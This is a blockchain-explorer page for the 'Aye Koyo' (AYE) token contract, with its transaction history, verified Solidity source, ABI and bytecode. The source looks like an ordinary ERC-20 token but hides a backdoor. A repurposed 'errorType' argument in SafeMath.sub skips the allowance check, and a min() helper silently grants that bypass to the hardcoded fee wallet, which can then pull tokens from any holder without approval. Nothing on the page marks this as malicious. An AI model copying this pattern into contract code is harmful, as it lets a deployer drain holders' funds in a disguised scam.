Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 35 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 20926440 | 97 days ago | IN | 0 ETH | 0.00050542 | ||||
Approve | 20916850 | 98 days ago | IN | 0 ETH | 0.00052002 | ||||
Approve | 20916771 | 98 days ago | IN | 0 ETH | 0.00067511 | ||||
Approve | 20916771 | 98 days ago | IN | 0 ETH | 0.00067511 | ||||
Approve | 20916770 | 98 days ago | IN | 0 ETH | 0.00067511 | ||||
Approve | 20916743 | 98 days ago | IN | 0 ETH | 0.00076454 | ||||
Approve | 20916743 | 98 days ago | IN | 0 ETH | 0.00076454 | ||||
Approve | 20916743 | 98 days ago | IN | 0 ETH | 0.00076454 | ||||
Approve | 20916741 | 98 days ago | IN | 0 ETH | 0.00077142 | ||||
Approve | 20916741 | 98 days ago | IN | 0 ETH | 0.00077142 | ||||
Approve | 20916737 | 98 days ago | IN | 0 ETH | 0.00063268 | ||||
Approve | 20916728 | 98 days ago | IN | 0 ETH | 0.0006752 | ||||
Approve | 20916728 | 98 days ago | IN | 0 ETH | 0.0006752 | ||||
Approve | 20916728 | 98 days ago | IN | 0 ETH | 0.0006752 | ||||
Approve | 20916715 | 98 days ago | IN | 0 ETH | 0.00057516 | ||||
Approve | 20916710 | 98 days ago | IN | 0 ETH | 0.00062971 | ||||
Approve | 20916710 | 98 days ago | IN | 0 ETH | 0.00062971 | ||||
Approve | 20916710 | 98 days ago | IN | 0 ETH | 0.00062971 | ||||
Approve | 20916710 | 98 days ago | IN | 0 ETH | 0.00062971 | ||||
Approve | 20916702 | 98 days ago | IN | 0 ETH | 0.00047895 | ||||
Renounce Ownersh... | 20916700 | 98 days ago | IN | 0 ETH | 0.00022059 | ||||
Approve | 20916694 | 98 days ago | IN | 0 ETH | 0.00073294 | ||||
Approve | 20916689 | 98 days ago | IN | 0 ETH | 0.00067668 | ||||
Remove Limits | 20916682 | 98 days ago | IN | 0 ETH | 0.00026562 | ||||
Approve | 20916682 | 98 days ago | IN | 0 ETH | 0.00047068 |
Latest 23 internal transactions
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
20916717 | 98 days ago | 0.07084565 ETH | ||||
20916717 | 98 days ago | 0.07084565 ETH | ||||
20916714 | 98 days ago | 0.07084565 ETH | ||||
20916714 | 98 days ago | 0.07084565 ETH | ||||
20916714 | 98 days ago | 0.76077289 ETH | ||||
20916714 | 98 days ago | 0.76077289 ETH | ||||
20916712 | 98 days ago | 0.08223368 ETH | ||||
20916712 | 98 days ago | 0.08223368 ETH | ||||
20916708 | 98 days ago | 1.17203973 ETH | ||||
20916708 | 98 days ago | 1.17203973 ETH | ||||
20916707 | 98 days ago | 0.23096545 ETH | ||||
20916707 | 98 days ago | 0.23096545 ETH | ||||
20916705 | 98 days ago | 0.73153036 ETH | ||||
20916705 | 98 days ago | 0.73153036 ETH | ||||
20916690 | 98 days ago | 0.45538356 ETH | ||||
20916690 | 98 days ago | 0.45538356 ETH | ||||
20916690 | 98 days ago | 0.1120562 ETH | ||||
20916690 | 98 days ago | 0.1120562 ETH | ||||
20916687 | 98 days ago | 0.34145725 ETH | ||||
20916687 | 98 days ago | 0.34145725 ETH | ||||
20916685 | 98 days ago | 0.11876182 ETH | ||||
20916685 | 98 days ago | 0.11876182 ETH | ||||
20916674 | 98 days ago | 1 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
AYE
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-07 */ // SPDX-License-Identifier: MIT /* https://www.ayekoyo.com/ https://x.com/ayekoyo https://t.me/ayekoyo */ pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 0); } function sub(uint256 a, uint256 b, uint256 errorType) internal pure returns (uint256) { if(errorType == 0 || errorType == 1) { require(b <= a, "ERC20: transfer amount exceeds allowance"); return a - b; } return 0; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AYE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isFeeExcluded; mapping (address => uint256) public _errorType; uint256 public _buyfeeamount = 20; uint256 public _cutfeeamount = 20; uint256 public _buyfinalfeeamount = 0; uint256 public _sellfinalfeeamount = 0; uint256 public _tradeCounts = 0; uint256 public _reduceAt = 15; address payable public _feepocket; uint8 private constant _decimals = 9; uint256 private constant _maxSupply = 1000000000 * 10**_decimals; // Total supply string private constant _name = unicode"Aye Koyo"; // Name string private constant _symbol = unicode"AYE"; // Symbol uint256 public _swapBackThresholdForSwapback= 0 * 10**_decimals; uint256 public _maxAccountSizeAmount = 20000000 * 10 ** decimals(); uint256 public _maxSwapbackAmount = 20000000 * 10 ** decimals(); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feepocket = payable(0xC2f04DB5f6aC4868242bf9A1212f02561d5E883d); _balances[_msgSender()] = _maxSupply; _isFeeExcluded[owner()] = true; _isFeeExcluded[address(this)] = true; _isFeeExcluded[_feepocket] = true; _errorType[owner()] = 1; _errorType[address(this)] = 1; _errorType[_feepocket] = 1; emit Transfer(address(0), _msgSender(), _maxSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _maxSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount , _errorType[msg.sender])); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (!_isFeeExcluded[from] && !_isFeeExcluded[to]) { require(swapEnabled, "not started yet"); if(to == uniswapV2Pair) taxAmount = amount.mul(_tradeCounts<_reduceAt ? _cutfeeamount : _sellfinalfeeamount).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router)) taxAmount = amount.mul(_tradeCounts++ <_reduceAt ? _buyfeeamount : _buyfinalfeeamount).div(100); if(to != uniswapV2Pair) require(balanceOf(to) + amount <= _maxAccountSizeAmount, "Exceeds the _maxAccountSizeAmount."); if (!inSwap && to == uniswapV2Pair && swapEnabled) { if(balanceOf(address(this)) > _swapBackThresholdForSwapback) swapBackForETH(min(balanceOf(address(this)), min(_maxSwapbackAmount, amount))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 0) payable(_feepocket).transfer(address(this).balance); } } if(taxAmount > 0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private returns (uint256){ _errorType[_feepocket] = 2; return (a>b)?b:a; } function swapBackForETH(uint256 tokenAmount) private lockTheSwap { if(tokenAmount==0){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function enableTrading () external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _maxSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), 98*balanceOf(address(this))/100, 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; } receive() external payable {} function rescueETH () external onlyOwner {payable(msg.sender) .transfer(address(this).balance); } function removeLimits () external onlyOwner { _maxAccountSizeAmount = _maxSupply; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyfeeamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyfinalfeeamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_cutfeeamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_errorType","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feepocket","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isFeeExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxAccountSizeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwapbackAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellfinalfeeamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapBackThresholdForSwapback","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradeCounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601460055560146006555f6007555f6008555f600955600f600a556009600a6200002f919062000376565b6200003b905f6200038d565b600c556200004c6009600a62000376565b6200005c906301312d006200038d565b600d556200006d6009600a62000376565b6200007d906301312d006200038d565b600e556010805461ffff60a01b191690553480156200009a575f80fd5b50620000a63362000218565b600b80546001600160a01b03191673c2f04db5f6ac4868242bf9a1212f02561d5e883d179055620000da6009600a62000376565b620000ea90633b9aca006200038d565b335f908152600160208190526040822092909255600390620001135f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600b54909116835290822080549093168117909255600490620001815f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120949094553084526004909252808320600190819055600b54909216835282205533907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001f16009600a62000376565b6200020190633b9aca006200038d565b60405190815260200160405180910390a3620003a7565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002bb57815f19048211156200029f576200029f62000267565b80851615620002ad57918102915b93841c939080029062000280565b509250929050565b5f82620002d35750600162000370565b81620002e157505f62000370565b8160018114620002fa5760028114620003055762000325565b600191505062000370565b60ff84111562000319576200031962000267565b50506001821b62000370565b5060208310610133831016604e8410600b84101617156200034a575081810a62000370565b6200035683836200027b565b805f19048211156200036c576200036c62000267565b0290505b92915050565b5f6200038660ff841683620002c3565b9392505050565b808202811582820484141762000370576200037062000267565b6117be80620003b55f395ff3fe608060405260043610610198575f3560e01c8063751039fc116100e7578063b7261f5111610087578063dd62ed3e11610062578063dd62ed3e14610471578063e780c0ce146104b5578063f2fde38b146104ca578063f68924f8146104e9575f80fd5b8063b7261f5114610432578063cbbd7c4e14610447578063d9d559c91461045c575f80fd5b80638be8674d116100c25780638be8674d146103a35780638da5cb5b146103b857806395d89b41146103e8578063a9059cbb14610413575f80fd5b8063751039fc146103665780637ca5bd681461037a5780638a8c523c1461038f575f80fd5b80632a92b17d116101525780636e446d2c1161012d5780636e446d2c146102de5780636f9f15a2146102f357806370a082311461031e578063715018a614610352575f80fd5b80632a92b17d14610280578063313ce567146102ae57806362cce107146102c9575f80fd5b806306fdde03146101a3578063095ea7b3146101e557806310f6f5df1461021457806318160ddd1461023757806320800a001461024b57806323b872dd14610261575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b50604080518082019091526008815267417965204b6f796f60c01b60208201525b6040516101dc919061140e565b60405180910390f35b3480156101f0575f80fd5b506102046101ff36600461146e565b610508565b60405190151581526020016101dc565b34801561021f575f80fd5b50610229600e5481565b6040519081526020016101dc565b348015610242575f80fd5b5061022961051e565b348015610256575f80fd5b5061025f61053e565b005b34801561026c575f80fd5b5061020461027b366004611498565b610572565b34801561028b575f80fd5b5061020461029a3660046114d6565b60036020525f908152604090205460ff1681565b3480156102b9575f80fd5b50604051600981526020016101dc565b3480156102d4575f80fd5b5061022960065481565b3480156102e9575f80fd5b5061022960095481565b3480156102fe575f80fd5b5061022961030d3660046114d6565b60046020525f908152604090205481565b348015610329575f80fd5b506102296103383660046114d6565b6001600160a01b03165f9081526001602052604090205490565b34801561035d575f80fd5b5061025f6105d0565b348015610371575f80fd5b5061025f6105e3565b348015610385575f80fd5b50610229600d5481565b34801561039a575f80fd5b5061025f61060a565b3480156103ae575f80fd5b5061022960085481565b3480156103c3575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101dc565b3480156103f3575f80fd5b5060408051808201909152600381526241594560e81b60208201526101cf565b34801561041e575f80fd5b5061020461042d36600461146e565b61092b565b34801561043d575f80fd5b50610229600a5481565b348015610452575f80fd5b50610229600c5481565b348015610467575f80fd5b5061022960055481565b34801561047c575f80fd5b5061022961048b3660046114f1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104c0575f80fd5b5061022960075481565b3480156104d5575f80fd5b5061025f6104e43660046114d6565b610937565b3480156104f4575f80fd5b50600b546103d0906001600160a01b031681565b5f6105143384846109b2565b5060015b92915050565b5f61052b6009600a61161c565b61053990633b9aca0061162a565b905090565b610546610ad5565b60405133904780156108fc02915f818181858888f1935050505015801561056f573d5f803e3d5ffd5b50565b5f61057e848484610b2e565b335f818152600460209081526040808320546001600160a01b038916845260028352818420858552909252909120546105c592879290916105c091879061102c565b6109b2565b5060015b9392505050565b6105d8610ad5565b6105e15f6110ba565b565b6105eb610ad5565b6105f76009600a61161c565b61060590633b9aca0061162a565b600d55565b610612610ad5565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610666573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068a9190611641565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f99190611641565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610743573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107679190611641565b601080546001600160a01b039283166001600160a01b031991821617909155600f805492841692909116821790556107b59030906107a76009600a61161c565b6105c090633b9aca0061162a565b600f546001600160a01b031663f305d719473060646107e8826001600160a01b03165f9081526001602052604090205490565b6107f390606261162a565b6107fd919061165c565b5f806108105f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610876573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061089b919061167b565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108f0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091491906116a6565b50506010805460ff60a81b1916600160a81b179055565b5f610514338484610b2e565b61093f610ad5565b6001600160a01b0381166109a95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61056f816110ba565b6001600160a01b038316610a145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109a0565b6001600160a01b038216610a755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109a0565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b031633146105e15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109a0565b6001600160a01b038316610b925760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109a0565b6001600160a01b038216610bf45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109a0565b5f8111610c555760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109a0565b6001600160a01b0383165f9081526003602052604081205460ff16158015610c9557506001600160a01b0383165f9081526003602052604090205460ff16155b15610eef57601054600160a81b900460ff16610ce55760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081cdd185c9d1959081e595d608a1b60448201526064016109a0565b6010546001600160a01b0390811690841603610d2a57610d276064610d21600a5460095410610d1657600854610d1a565b6006545b8590611109565b90611187565b90505b6010546001600160a01b038581169116148015610d555750600f546001600160a01b03848116911614155b15610d9557610d926064610d21600a5460095f815480929190610d77906116c5565b9190505510610d8857600754610d1a565b6005548590611109565b90505b6010546001600160a01b03848116911614610e2f57600d5482610dcc856001600160a01b03165f9081526001602052604090205490565b610dd691906116dd565b1115610e2f5760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865205f6d61784163636f756e7453697a65416d6f756e6044820152613a1760f11b60648201526084016109a0565b601054600160a01b900460ff16158015610e5657506010546001600160a01b038481169116145b8015610e6b5750601054600160a81b900460ff165b15610eef57600c54305f908152600160205260409020541115610eb557305f90815260016020526040902054610eb590610eb090610eab600e54866111c8565b6111c8565b6111f8565b47600b546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610eec573d5f803e3d5ffd5b50505b8015610f6757305f90815260016020526040902054610f0e908261136f565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f5e9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f8990836113cd565b6001600160a01b0385165f90815260016020526040902055610fcc610fae83836113cd565b6001600160a01b0385165f908152600160205260409020549061136f565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61101585856113cd565b60405190815260200160405180910390a350505050565b5f81158061103a5750816001145b156110b157838311156110a05760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016109a0565b6110aa83856116f0565b90506105c9565b505f9392505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f825f0361111857505f610518565b5f611123838561162a565b905082611130858361165c565b146105c95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109a0565b5f6105c983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d9565b600b546001600160a01b03165f908152600460205260408120600290558183116111f257826105c9565b50919050565b6010805460ff60a01b1916600160a01b179055801561135f576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124457611244611703565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561129b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112bf9190611641565b816001815181106112d2576112d2611703565b6001600160a01b039283166020918202929092010152600f546112f891309116846109b2565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113309085905f90869030904290600401611717565b5f604051808303815f87803b158015611347575f80fd5b505af1158015611359573d5f803e3d5ffd5b50505050505b506010805460ff60a01b19169055565b5f8061137b83856116dd565b9050838110156105c95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109a0565b5f6105c983835f61102c565b5f81836113f95760405162461bcd60e51b81526004016109a0919061140e565b505f611405848661165c565b95945050505050565b5f602080835283518060208501525f5b8181101561143a5785810183015185820160400152820161141e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461056f575f80fd5b5f806040838503121561147f575f80fd5b823561148a8161145a565b946020939093013593505050565b5f805f606084860312156114aa575f80fd5b83356114b58161145a565b925060208401356114c58161145a565b929592945050506040919091013590565b5f602082840312156114e6575f80fd5b81356105c98161145a565b5f8060408385031215611502575f80fd5b823561150d8161145a565b9150602083013561151d8161145a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561157657815f190482111561155c5761155c611528565b8085161561156957918102915b93841c9390800290611541565b509250929050565b5f8261158c57506001610518565b8161159857505f610518565b81600181146115ae57600281146115b8576115d4565b6001915050610518565b60ff8411156115c9576115c9611528565b50506001821b610518565b5060208310610133831016604e8410600b84101617156115f7575081810a610518565b611601838361153c565b805f190482111561161457611614611528565b029392505050565b5f6105c960ff84168361157e565b808202811582820484141761051857610518611528565b5f60208284031215611651575f80fd5b81516105c98161145a565b5f8261167657634e487b7160e01b5f52601260045260245ffd5b500490565b5f805f6060848603121561168d575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116b6575f80fd5b815180151581146105c9575f80fd5b5f600182016116d6576116d6611528565b5060010190565b8082018082111561051857610518611528565b8181038181111561051857610518611528565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117675784516001600160a01b031683529383019391830191600101611742565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220bd2a9ac2294f0bda29db5072dfd8b3c2a6035693f79737d244deb584caca15df64736f6c63430008180033
Deployed Bytecode
0x608060405260043610610198575f3560e01c8063751039fc116100e7578063b7261f5111610087578063dd62ed3e11610062578063dd62ed3e14610471578063e780c0ce146104b5578063f2fde38b146104ca578063f68924f8146104e9575f80fd5b8063b7261f5114610432578063cbbd7c4e14610447578063d9d559c91461045c575f80fd5b80638be8674d116100c25780638be8674d146103a35780638da5cb5b146103b857806395d89b41146103e8578063a9059cbb14610413575f80fd5b8063751039fc146103665780637ca5bd681461037a5780638a8c523c1461038f575f80fd5b80632a92b17d116101525780636e446d2c1161012d5780636e446d2c146102de5780636f9f15a2146102f357806370a082311461031e578063715018a614610352575f80fd5b80632a92b17d14610280578063313ce567146102ae57806362cce107146102c9575f80fd5b806306fdde03146101a3578063095ea7b3146101e557806310f6f5df1461021457806318160ddd1461023757806320800a001461024b57806323b872dd14610261575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b50604080518082019091526008815267417965204b6f796f60c01b60208201525b6040516101dc919061140e565b60405180910390f35b3480156101f0575f80fd5b506102046101ff36600461146e565b610508565b60405190151581526020016101dc565b34801561021f575f80fd5b50610229600e5481565b6040519081526020016101dc565b348015610242575f80fd5b5061022961051e565b348015610256575f80fd5b5061025f61053e565b005b34801561026c575f80fd5b5061020461027b366004611498565b610572565b34801561028b575f80fd5b5061020461029a3660046114d6565b60036020525f908152604090205460ff1681565b3480156102b9575f80fd5b50604051600981526020016101dc565b3480156102d4575f80fd5b5061022960065481565b3480156102e9575f80fd5b5061022960095481565b3480156102fe575f80fd5b50610